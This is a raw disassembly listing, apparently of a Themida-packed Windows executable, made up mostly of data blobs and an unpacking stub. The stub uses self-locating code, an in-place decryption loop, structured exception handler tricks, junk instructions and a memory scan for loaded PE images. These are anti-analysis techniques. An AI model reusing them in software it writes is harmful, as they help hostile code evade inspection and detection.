		dd 6BD70000h, 190249h, 0
		dd 41B90000h, 0B168D244h, 9Fh, 5 dup(0)
		dd 0A00F0000h, 0A0h, 5 dup(0)
		dd 7FB20000h, 57h, 5 dup(0)
		dd 0D9460000h, 57h, 2 dup(0)
		dd 0EC10000h, 0Fh dup(0)
		dd 0DBB10241h, 0D373h, 5 dup(0)
		dd 98660000h, 0FFABh, 0
		dd 0FB570000h, 0
		dd 6F80000h, 86B0000h, 0A0h, 0Ah dup(0)
		dd 55EA0000h, 54h, 8 dup(0)
		dd 0FF540000h, 12h, 0
		dd 107C0000h, 9	dup(0)
		dd 0EB760000h, 6014A645h, 0Eh, 50240000h, 77FCh, 9 dup(0)
		dd 86330000h, 4E55h, 0
		dd 65A80000h, 0
		dd 0FF7E0000h, 54h, 0
		dd 3040000h, 7FFEh, 0Ch	dup(0)
		dd 0F010000h, 527E005Ah, 0A40054h, 5 dup(0)
		dd 3040000h, 7FFEh, 6 dup(0)
		dd 98E00000h, 0FFFFh, 4	dup(0)
		dd 15680000h, 0A1h, 0
		dd 650C0000h, 1E000000h, 4, 7 dup(0)
		dd 40000h, 2 dup(0)
		dd 30DF0000h, 5CB5A9C5h, 77E7h,	39690000h, 4610h, 2 dup(0)
		dd 28Eh, 2 dup(0)
		dd 1E490000h, 0FDEEh, 0
		dd 0B6080000h, 0D5B7h, 3 dup(0)
		dd 7FCC0000h, 57h, 1Bh dup(0)
		dd 5D80000h, 70C477E8h,	0A0h, 0
		dd 95170000h, 53BFh, 3040000h, 4 dup(0)
		dd 0FF900000h, 824DFFFFh, 57h, 3 dup(0)
		dd 8C0000h, 0
		dd 915B0000h, 0FFED00A0h, 0E91BFFFFh, 57h, 0
		dd 0FFA40000h, 12h, 0
		dd 10EB0000h, 0
		dd 900000h, 2 dup(0)
		dd 6B830000h, 0FFA7h, 6	dup(0)
		dd 0FFFE0000h, 57h, 67A20000h, 2 dup(0)
		dd 1F77h, 3 dup(0)
		dd 0FF540000h, 12h, 0
		dd 3040000h, 7FFEh, 0
		dd 333F0000h, 31543C36h, 2300A1h, 58h, 0
		dd 0BDCF0000h, 5DA0h, 8	dup(0)
		dd 0EC620000h, 1, 2 dup(0)
		dd 10000h, 0FD6E0000h, 21680012h, 77E8h, 0
		dd 5FDC0000h, 0AFh, 0
		dd 95900000h, 0FFFFh, 0
		dd 0DB230000h, 59h, 2 dup(0)
		dd 2C6E0000h, 0C757005Bh, 2AC0Dh, 0Bh dup(0)
		dd 3A450000h, 5Bh, 10h dup(0)
		dd 0FF7E0000h, 1000054h, 3A00000h, 4AF00000h, 0Eh, 0FF540000h
		dd 12h,	5 dup(0)
		dd 25Ah, 0
		dd 337F0000h, 0FDAh, 880000h, 2	dup(0)
		dd 7DCE0000h, 7123005Bh, 99E3h,	5 dup(0)
		dd 0DDFF0000h, 0FFA4747Fh, 12h,	2 dup(0)
		dd 86330000h, 4E55h, 2 dup(0)
		dd 917100B7h, 7F8Fh, 1C370000h,	4FEEFFA6h, 4AEE0054h, 0CC9F0000h
		dd 3 dup(0)
		dd 0A00F0000h, 0A0h, 77D4h, 0F7EE0000h,	59h, 2 dup(0)
		dd 0C100000h, 0FFF8h, 3	dup(0)
		dd 796E0000h, 0A2h, 38A90000h, 53F2h, 5	dup(0)
		dd 69DD0000h, 0A0h, 3 dup(0)
		dd 37850000h, 7257h, 49660000h,	57h, 0Ah dup(0)
		dd 0D3160000h, 65EE0057h, 4FEF0054h, 3140054h, 0F5BB0000h
		dd 0FFE05322h, 12h, 3 dup(0)
		dd 59F00000h, 77DDh, 3 dup(0)
		dd 0A6030000h, 55E6005Ah, 181C0054h, 0
		dd 47350000h, 85B0h, 0FFFF0000h, 4FC05h, 5 dup(0)
		dd 0D9460000h, 57h, 3140000h, 0
		dd 10080000h, 3	dup(0)
		dd 59950000h, 2BD3h, 0
		dd 5E2E0000h, 0D36700A0h, 3E7Bh, 67A20000h, 0D4EA0000h
		dd 0A0000000h, 58h, 27h	dup(0)
		dd 0FFB00000h, 0E800150h, 0D78A0000h, 57h, 2 dup(0)
		dd 0FFFE0000h, 0FFFFh, 0
		dd 0A9A0000h, 9Fh, 4 dup(0)
		dd 0D3160000h, 66D90057h, 80A2h, 18420000h, 38005Bh, 0F44D0000h
		dd 0FFFDh, 6CE90000h, 5Ah, 0
		dd 31600000h, 8585h, 3 dup(0)
		dd 69DD0000h, 0BA0400A0h, 77D0h, 98C00000h, 0FFFFh, 0
		dd 33330000h, 2	dup(33333333h),	3333h, 8Ah dup(0)
		dd 5ED80000h, 59h, 0
		dd 40000h, 0
		dd 9CC70000h, 0E7C4h, 9FFC0000h, 0FFFFh, 3 dup(0)
		dd 10000h, 0
		dd 2BDE0000h, 69DD00A0h, 0A0h, 0Dh dup(0)
		dd 3CD40000h, 5Bh, 2 dup(0)
		dd 58h,	7E110000h, 0F8DDE2h, 9Fh, 0DB230000h, 59h, 0
		dd 7F5D0000h, 3259h, 6 dup(0)
		dd 0FE60000h, 0D538009Fh, 0CC6Eh, 2B940000h, 15h, 8 dup(0)
		dd 70800000h, 0F89E026Bh, 5Ah, 0
		dd 517F0000h, 57h, 3 dup(0)
		dd 70000000h, 0A6E3001Ch, 58h, 0
		dd 0A0370000h, 3FF300A0h, 5Bh, 0Ch dup(0)
		dd 3040000h, 7FFEh, 0
		dd 0F89E0000h, 5Ah, 4 dup(0)
		dd 47BB0000h, 57h, 0
		dd 10EB0000h, 2	dup(0)
		dd 0EF800000h, 0FFFEh, 6BBA0000h, 0BAF1h, 4 dup(0)
		dd 0F7170000h, 805Dh, 4E0000h, 0FFA8h, 2 dup(0)
		dd 9Fh,	0
		dd 417A0000h, 77E8h, 0
		dd 333E0000h, 3C36h, 0
		dd 3040000h, 7FFEh, 3 dup(0)
		dd 0FAB40000h, 0F7FEh, 7 dup(0)
		dd 69CE0000h, 59h, 67A20000h, 0Bh dup(0)
		dd 0A8A60000h, 455Ah, 0
		dd 0F1880000h, 85B5h, 2	dup(0)
		dd 30000000h, 257h, 0
		dd 249h, 2 dup(0)
		dd 8D530000h, 10EB00A4h, 59740000h, 244F8655h, 3BA02C8Ch
		dd 58h,	19h dup(0)
		dd 2 dup(10000h), 4 dup(0)
		dd 21600000h, 177E8h, 3	dup(0)
		dd 93EF0000h, 77E7h, 21400000h,	2, 3 dup(0)
		dd 0A415025Ah, 5Bh, 0
		dd 0BEB00000h, 7FFEh, 867B0000h, 58h, 6	dup(0)
		dd 0FFB20000h, 57h, 0Ah	dup(0)
		dd 0AC0000h, 0FFEDh, 0
		dd 5DD0000h, 3212h, 2 dup(0)
		dd 55E60000h, 54h, 87F20000h, 77EBh, 3 dup(0)
		dd 40000000h, 4Eh, 93930000h, 0A0h, 0C7570000h,	0AC0Dh
		dd 7 dup(0)
		dd 8B8B0000h, 55ECh, 2 dup(0)
		dd 73160000h, 0A2h, 0Ah	dup(0)
		dd 3040000h, 7FFEh, 32B80000h, 3D88h, 4	dup(0)
		dd 6BCE0000h, 150C0249h, 927Ah,	0
		dd 10490000h, 8E87h, 94990000h,	0A0h, 2	dup(0)
		dd 3040000h, 7FFEh, 6 dup(0)
		dd 74500000h, 0FEF00000h, 12h, 0
		dd 36850000h, 59h, 6 dup(0)
		dd 3040000h, 7FFEh, 36360000h, 0F9603636h, 6CBAAB01h, 60EAh
		dd 4 dup(0)
		dd 93930000h, 0A0h, 5 dup(0)
		dd 6A880000h, 6D5Ah, 3 dup(0)
		dd 68540000h, 64696D65h, 61h, 1Ch dup(0)
		dd 38A90000h, 53F2h, 0
		dd 1B400000h, 679A76B4h, 54h, 0D5540000h, 9Fh, 3 dup(0)
		dd 619E0000h, 5DC6h, 0
		dd 0A80000h, 0C59B0000h, 10058h, 9 dup(0)
		dd 0FFC40000h, 12h, 3 dup(0)
		dd 10000000h, 3040040h,	0FFFC7FFEh, 1FFFFh, 0Ah	dup(0)
		dd 30000h, 0D9460000h, 57h, 86330000h, 491F4E55h, 9B45h
		dd 390000h, 2 dup(0)
		dd 86330000h, 0FCFC4E55h, 8001h, 8 dup(0)
		dd 37850000h, 7257h, 10000h, 0A9A0000h,	9Fh, 3040000h
		dd 7FFEh, 4 dup(0)
		dd 176B0000h, 6B4h, 23E80000h, 0A1h, 4 dup(0)
		dd 89B0000h, 29E3h, 3 dup(0)
		dd 0FFFF0000h, 3 dup(0)
		dd 0B8250000h, 58h, 0
		dd 4DEB0000h, 60FFh, 0
		dd 11B30000h, 149Ah, 0
		dd 9C0000h, 0Ch	dup(0)
		dd 0E8BB0000h, 20057h, 2 dup(0)
		dd 67A20000h, 4	dup(0)
		dd 3040000h, 7FFEh, 0
		dd 22A00000h, 5Ch, 3 dup(0)
		dd 0D9460000h, 57h, 5 dup(0)
		dd 27100000h, 3	dup(0)
		dd 0EBB30000h, 77F7h, 0
		dd 6B9C0000h, 249h, 0FEFD0000h,	7021h, 0D9580000h, 57h
		dd 0Ah dup(0)
		dd 8D8D0000h, 0E0C0h, 4	dup(0)
		dd 0A5E70000h, 0A4h, 4 dup(0)
		dd 980000h, 3 dup(0)
		dd 0A1440000h, 0A75277E7h, 5Ah,	9 dup(0)
		dd 38A90000h, 53F2h, 38A90000h,	53F2h, 0
		dd 0AC0000h, 9 dup(0)
		dd 0F0E5025Bh, 57h, 2 dup(0)
		dd 8B820000h, 0FEF077E7h, 12h, 4DEB0000h, 60FFh, 0
		dd 2BDC0000h, 7FFEh, 0
		dd 0EEDD0000h, 5EBF012Fh, 58h, 4 dup(0)
		dd 36C0000h, 0
		dd 72AE0000h, 54h, 7 dup(0)
		dd 0FFFF0000h, 3 dup(0)
		dd 0E4000000h, 0FFFFh, 3BAD0000h, 0FA567FFEh, 0A0h, 2 dup(0)
		dd 44370000h, 0FAC6h, 10EB0000h, 2 dup(0)
		dd 20000h, 0
		dd 3040000h, 7FFEh, 9C0000h, 4 dup(0)
		dd 0E4670000h, 0FFFFh, 3 dup(0)
		dd 10EB0000h, 2	dup(0)
		dd 776E0000h, 7FFEh, 2 dup(0)
		dd 38A90000h, 8	dup(0)
		dd 0B5C90000h, 1008Ah, 3 dup(0)
		dd 0D3940000h, 0FFFFh, 22920000h, 0A0h,	4 dup(0)
		dd 3040000h, 0FCFC7FFEh, 8001h,	2 dup(0)
		dd 7D10000h, 7 dup(0)
		dd 6DB50000h, 0
		dd 9BAC0000h, 0A2h, 68800000h, 58h, 65A80000h, 2 dup(0)
		dd 679A0000h, 54h, 69DD0000h, 0A0h, 3 dup(0)
		dd 1CFD0000h, 5Ah, 4 dup(0)
		dd 587A0000h, 58h, 0
		dd 679A0000h, 54h, 279A0000h, 0B5234E55h, 0FFA8h, 2 dup(0)
		dd 3040000h, 60007FFEh,	9D5BFFA7h, 77E7h, 6 dup(0)
		dd 2C460000h, 776EFEBFh, 0CFC80058h, 0E088h, 2 dup(0)
		dd 80A30000h, 0CDA6h, 0
		dd 69DD0000h, 0A0h, 4 dup(0)
		dd 3B380000h, 4531h, 0
		dd 3040000h, 7FFEh, 19C80000h, 0EDF24E13h, 5Bh,	4 dup(0)
		dd 49000000h, 0FFFFh, 2	dup(0)
		dd 0F80000h, 9Fh, 3 dup(0)
		dd 740000h, 0B43C0000h,	0C0B3h,	4 dup(0)
		dd 92340000h, 0FFB000A0h, 170h,	0E7D70000h, 61F74EB9h
		dd 77D7h, 38A90000h, 53F2h, 0Ah	dup(0)
		dd 30DF0000h, 0A0EBA9C5h, 0E906h, 0A6E30000h, 58h, 7 dup(0)
		dd 680000h, 5 dup(0)
		dd 20000h, 4 dup(0)
		dd 35B10000h, 59h, 5 dup(0)
		dd 0FFB00000h, 212101A0h, 2121h, 3040000h, 0B7EC7FFEh
		dd 0FFFFh, 9 dup(0)
		dd 0A00000h, 2 dup(0)
		dd 79630000h, 77E7h, 0F9C10000h, 0D5A60057h, 40000h, 15h dup(0)
		dd 4D880000h, 5Bh, 0
		dd 30DF0000h, 5	dup(0)
		dd 38A90000h, 53F2h, 67A20000h,	0FDBF0000h, 20057h, 0
		dd 65520000h, 72617473h, 70704174h, 6578652Eh, 4 dup(0)
		dd 259h, 9 dup(0)
		dd 0E8F50000h, 0CBDC0057h, 5BD5h, 17h dup(0)
		dd 1D80000h, 40h, 0EA410000h, 5D0h, 9A340000h, 8 dup(0)
		dd 35B0000h, 3 dup(0)
		dd 2C8E0000h, 5Bh, 25Ch, 5 dup(0)
		dd 30000000h, 0Eh, 0
		dd 0E54C0000h, 54h, 0D61B0000h,	5Bh, 60C0000h, 2FE80057h
		dd 77E8h, 0
		dd 1E490000h, 0B700FDEEh, 2 dup(0)
		dd 0CC0000h, 58h, 0FFB00000h, 1C0h, 3 dup(0)
		dd 180B0000h, 0ED2E77F5h, 57h, 3 dup(0)
		dd 67A20000h, 0C5DF0000h, 6ECh,	4 dup(0)
		dd 677F0000h, 37A5h, 2 dup(0)
		dd 3040000h, 7FFEh, 0
		dd 80000h, 31h,	2 dup(0)
		dd 1FFF0000h, 79A10000h, 8 dup(0)
		dd 0C7570000h, 0AC0Dh, 38A90000h, 53F2h, 30DF0000h, 0A9C5h
		dd 28h dup(0)
		dd 88B40000h, 0C3F750A4h, 8000005Ah, 3,	2 dup(0)
		dd 20000h, 47A80000h, 82251A7Ch, 57h, 6	dup(0)
		dd 83260000h, 54h, 6BCE0000h, 249h, 0DCAE0000h,	3 dup(0)
		dd 10000h, 0FEF00000h, 12h, 2 dup(0)
		dd 840000h, 16E70000h, 50A9h, 0
		dd 0D3160000h, 37850057h, 7257h, 10000h, 2 dup(0)
		dd 12540000h, 77F5h, 10EB0000h,	4 dup(0)
		dd 79630000h, 77E7h, 2 dup(0)
		dd 0B80000h, 86DC0000h,	489E0054h, 3E2C97h, 9Fh, 3 dup(0)
		dd 58210000h, 5Ah, 2 dup(0)
		dd 0F9F80000h, 3, 2 dup(0)
		dd 0FC490000h, 0DA48h, 0B1CA0000h, 0AEh, 6 dup(0)
		dd 0C0000h, 241h, 2 dup(0)
		dd 231D0000h, 5Ah, 34400000h, 58h, 5 dup(0)
		dd 0C4860000h, 76CD77E7h, 0A5FD77E7h, 2A5477E7h, 58h, 2	dup(0)
		dd 8C7B0000h, 0D3166083h, 57h, 5 dup(0)
		dd 0FFFF0000h, 0FFFFh, 0
		dd 0B5E20000h, 8A0Fh, 2	dup(0)
		dd 9F70000h, 0A0h, 0Ch dup(0)
		dd 27880000h, 6D5Ah, 4 dup(0)
		dd 6180000h, 77E8h, 5 dup(0)
		dd 0FFF80000h, 77FFh, 5	dup(0)
		dd 69DD0040h, 0A0h, 4 dup(0)
		dd 63F0000h, 0FFA8h, 2 dup(0)
		dd 0A00F0000h, 38A900A0h, 53F2h, 5 dup(0)
		dd 0DBEC0000h, 477Ah, 2	dup(0)
		dd 30DF0000h, 0A9C5h, 2	dup(0)
		dd 230000h, 58h, 5 dup(0)
		dd 940000h, 2 dup(0)
		dd 0FFB00000h, 170h, 700000h, 0
		dd 249h, 0E33A0000h, 5Ah, 0
		dd 0D52D0000h, 58h, 3 dup(0)
		dd 7B50000h, 0FFB0028Eh, 180h, 3 dup(0)
		dd 8B820000h, 30477E7h,	7FFEh, 6 dup(0)
		dd 77670000h, 0BC2604h,	5 dup(0)
		dd 0CD7F0000h, 5Ah, 2 dup(0)
		dd 0E4670000h, 58h, 86330000h, 0AE84E55h, 0ABD90000h, 1123h
		dd 3040000h, 7FFEh, 8 dup(0)
		dd 0AFE10000h, 59h, 0DC410000h,	0ACAFh,	69DD0000h, 0A0h
		dd 5 dup(0)
		dd 21400000h, 2, 6 dup(0)
		dd 4DEB0000h, 60FFh, 3 dup(0)
		dd 0A6330000h, 5Ah, 0FF540000h,	12h, 67A20000h,	7FD80000h
		dd 0A2h, 3 dup(0)
		dd 780000h, 2 dup(0)
		dd 7B340000h, 7FFFh, 0Fh dup(0)
		dd 0D3160000h, 57h, 800000h, 32010000h,	130h, 3040000h
		dd 0A1FE7FFEh, 30400B0h, 7FFEh,	75B50000h, 0
		dd 42150000h, 22CFh, 20h dup(0)
		dd 74760000h, 54h, 4 dup(0)
		dd 2AE90000h, 5	dup(0)
		dd 3120000h, 2 dup(0)
		dd 0AC5E0000h, 77E7h, 0D9650000h, 22D867E5h, 0A1h, 14h dup(0)
		dd 83C70000h, 0DF03450h, 0B80000h, 0B000000h, 0C20374C0h
		dd 448B0018h, 0E8530C24h, 0
		dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 0A0A037B8h
		dd 8BE0FF00h, 0FF042444h, 0E0h,	12h dup(0)
		dd 3040000h, 7FFEh, 4 dup(0)
		dd 6C050000h, 0A400005Ah, 2 dup(0)
		dd 7E260000h, 54h, 81BD0000h, 0FF4Ah, 4	dup(0)
		dd 69DD0000h, 0A0h, 45EA0000h, 59h, 6 dup(0)
		dd 0CE3F0000h, 8001h, 0
		dd 6A9B0000h, 1111005Bh, 0A9F1111h, 980C05A9h, 0FFFFh
		dd 0B1CA0000h, 0AEh, 0
		dd 7F9B0000h, 96D9h, 0
		dd 0F80000h, 4437009Fh,	0FAC6h,	67A20000h, 9 dup(0)
		dd 0DC0F0000h, 3AF9h, 6	dup(0)
		dd 0F7340000h, 0F488h, 2 dup(0)
		dd 5FF10000h, 3E68FF5Fh, 28D477E8h, 140h, 9 dup(0)
		dd 57C90000h, 8818h, 3 dup(0)
		dd 3040000h, 0
		dd 77E6h, 0
		dd 958C0000h, 0FFFFh, 3A430000h, 4E49575Ch, 53574F44h
		dd 7379535Ch, 336D6574h, 44415C32h, 49504156h, 642E3233h
		dd 6C6Ch, 3Eh dup(0)
		dd 0FDFF0000h, 60FFh, 0
		dd 38A90000h, 53F2h, 0Ah dup(0)
		dd 0C96A0000h, 77D4h, 9	dup(0)
		dd 3040000h, 7FFEh, 3 dup(0)
		dd 3040000h, 0B5E27FFEh, 8A0Fh,	10000h,	0
		dd 0E8F50000h, 57h, 5 dup(0)
		dd 3040000h, 40007FFEh,	4Eh, 3 dup(0)
		dd 30DF0000h, 0A9C5h, 3040000h,	7FFEh, 2 dup(0)
		dd 679A0000h, 54h, 2 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_54786A:				; CODE XREF: start:loc_544431j
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 6063443h
		mov	[ebp+606204Dh],	edx
		mov	[ebp+6062921h],	esi
		mov	[ebp+6060E09h],	eax
		cmp	dword ptr [ebp+6061529h], 0
		jz	short loc_5478A2
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------

loc_5478A2:				; CODE XREF: start+61880j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+6060F05h],	eax
		push	45h
		call	sub_547956
		push	783749Ah
		call	sub_54799C
		push	0A894B25h
		call	sub_54799C
		jmp	loc_547AE0
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h
		dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h
		dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh
		dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h
		dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h
		dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h
		dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_547956	proc near		; CODE XREF: start+6189Ap

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 6063531h
		mov	ebx, edx
		mov	[ebp+var_28], 0

loc_547972:				; CODE XREF: sub_547956+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_547991
		mov	eax, [ebp+arg_0]
		mov	[ebx+606349Bh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_547972
; ---------------------------------------------------------------------------

loc_547991:				; CODE XREF: sub_547956+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_547956	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54799C	proc near		; CODE XREF: start+618A4p start+618AEp

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 606357Ah
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0

loc_5479C2:				; CODE XREF: sub_54799C+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_5479C2
		mov	[ebp+var_84], 0
		lea	edi, [edx+606349Bh]
		lea	esi, [ebp+var_80]

loc_5479F2:				; CODE XREF: sub_54799C+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh

loc_5479FE:				; CODE XREF: sub_54799C+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_5479FE
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_5479F2
		popa
		leave
		retn	4
sub_54799C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_547A3C
; ---------------------------------------------------------------------------

loc_547A38:				; CODE XREF: Themida_:00547A3Fj
		inc	dword ptr [ebp-4]
		inc	esi

loc_547A3C:				; CODE XREF: Themida_:00547A36j
		cmp	byte ptr [esi],	0
		jnz	short loc_547A38
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_547ACD
; ---------------------------------------------------------------------------

loc_547A4E:				; CODE XREF: Themida_:00547AD0j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_547AC4
; ---------------------------------------------------------------------------

loc_547A57:				; CODE XREF: Themida_:00547AC8j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_547AB1
; ---------------------------------------------------------------------------

loc_547A67:				; CODE XREF: Themida_:00547AB5j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_547A89
		cmp	bl, 39h
		ja	short loc_547A89
		sub	bl, 30h
		jmp	short loc_547AAB
; ---------------------------------------------------------------------------

loc_547A89:				; CODE XREF: Themida_:00547A7Dj
					; Themida_:00547A82j
		cmp	bl, 61h
		jb	short loc_547A9B
		cmp	bl, 66h
		ja	short loc_547A9B
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_547AAB
; ---------------------------------------------------------------------------

loc_547A9B:				; CODE XREF: Themida_:00547A8Cj
					; Themida_:00547A91j
		cmp	bl, 41h
		jb	short loc_547AAB
		cmp	bl, 46h
		ja	short loc_547AAB
		sub	bl, 41h
		add	bl, 0Ah

loc_547AAB:				; CODE XREF: Themida_:00547A87j
					; Themida_:00547A99j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]

loc_547AB1:				; CODE XREF: Themida_:00547A65j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_547A67
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_547AC1
		mov	eax, [ebp-10h]
		stosb

loc_547AC1:				; CODE XREF: Themida_:00547ABBj
		inc	dword ptr [ebp-8]

loc_547AC4:				; CODE XREF: Themida_:00547A55j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_547A57
		add	edx, 4

loc_547ACD:				; CODE XREF: Themida_:00547A4Cj
		cmp	edx, [ebp-4]
		jb	loc_547A4E
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_547AE0:				; CODE XREF: start+618B3j
		mov	ecx, 7000h
		lea	edi, [ebp+60636C0h]

loc_547AEB:				; CODE XREF: start+61ADBj
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_547AEB
		mov	eax, 48692121h
		mov	edx, 0F00E6000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+60637AEh]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		or	bh, 0C5h
		mov	bx, cx
		jbe	loc_547B3C
		jmp	loc_547B3C
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 0D7h, 0Bh, 17h
aUf		db '|#“”&',0
		dw 0B328h
		dd 0D9BA99B7h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_547B3C:				; CODE XREF: start+61B0Ej start+61B14j
		mov	bl, cl
		sub	eax, edx
		clc
		push	ecx
		js	loc_547B4A
		push	ebx
		pop	ebx

loc_547B4A:				; CODE XREF: start+61B2Ej
		pop	ebx
		and	eax, 0FFFFF000h
		mov	bh, 0A2h
		mov	ecx, edx
		xor	edi, edi

loc_547B56:				; CODE XREF: start+61B5Dj
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_547B6B
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_547B73

loc_547B6B:				; CODE XREF: start+61B47j
		sub	eax, 1000h
		inc	edi
		jmp	short loc_547B56
; ---------------------------------------------------------------------------

loc_547B73:				; CODE XREF: start+61B55j
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+60637C1h]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_547BAD
		mov	esi, [eax+1Ch]

loc_547BAD:				; CODE XREF: start+61B94j
		xor	eax, eax

loc_547BAF:				; CODE XREF: start+61BAEj
		cmp	eax, 32h
		jz	short loc_547BD3
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_547BC4

loc_547BBB:				; CODE XREF: start+61BBDj
		sub	esi, 10000h
		inc	eax
		jmp	short loc_547BAF
; ---------------------------------------------------------------------------

loc_547BC4:				; CODE XREF: start+61BA5j
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_547C15
		jmp	short loc_547BBB
; ---------------------------------------------------------------------------

loc_547BD3:				; CODE XREF: start+61B9Ej
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 51h
		dd 10244C8Bh, 0B0A981h,	10000000h, 33590000h, 8B51C3C0h
		dd 5510244Ch, 0E8h, 0ED815D00h,	60637CCh, 378A858Dh, 81890606h
		dd 0B8h, 0C033595Dh
		db 0C3h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_547C15:				; CODE XREF: start+61BBBj
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		mov	bx, si
		adc	ebx, 2F3EA397h
		or	bh, 8Dh
		mov	cx, ds
		sub	bx, 75AEh
		and	cl, 4
		push	0
		push	edx
		call	sub_547C42
		and	[edx-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_547C42	proc near		; CODE XREF: start+61C26p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_547C42	endp

; ---------------------------------------------------------------------------
		dw 0D8Ch
		dd 79FC145Bh, 0CB80383Dh, 0FC90AA9h, 7385h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 88D11FB1h, 1E6BFD31h, 13E9h,	5003F700h, 0D076A52Ch
		dd 2A4F4688h, 192F5F27h, 0C3201B10h, 14E9h, 0D78D300h
		dd 14AADEFh, 2BCE00DCh,	0BE79AF68h, 54CA00F8h, 3D85C7A4h
		dd 106061Dh, 66000000h,	1AE9DE8Bh, 0E9000000h, 8, 4D4A0130h
		dd 9230EE52h, 1D3D85C7h, 606h, 0BF0F0000h, 1D8589DEh, 0E9060632h
		dd 11h,	83D0918h, 0C9114B7Ah, 136E255Eh, 0F4C767E3h, 0DD8589A1h
		dd 0E806061Bh, 0Eh, 19C1D730h, 447C2AE2h, 7D4C118h, 0DF8B4544h
		dd 0AE85Fh, 99680000h, 5DE451A5h, 7C37F762h, 6EBE6660h
		dd 0D22BEDDh, 5B611ABEh, 6840C781h, 0D1810000h,	19D9EE5h
		dd 68h,	5EC68A00h, 0E0816656h, 0FF5B6B9Ch, 4EB03E34h, 0C0B70F5Ah
		dd 0CD58EA81h, 81F52A05h, 0DF6928F2h, 0A2D0812Eh, 810A9A3Dh
		dd 600ABBF2h, 52DE8B2Fh, 13E8h,	3FA0A500h, 14460FBAh, 362F96F9h
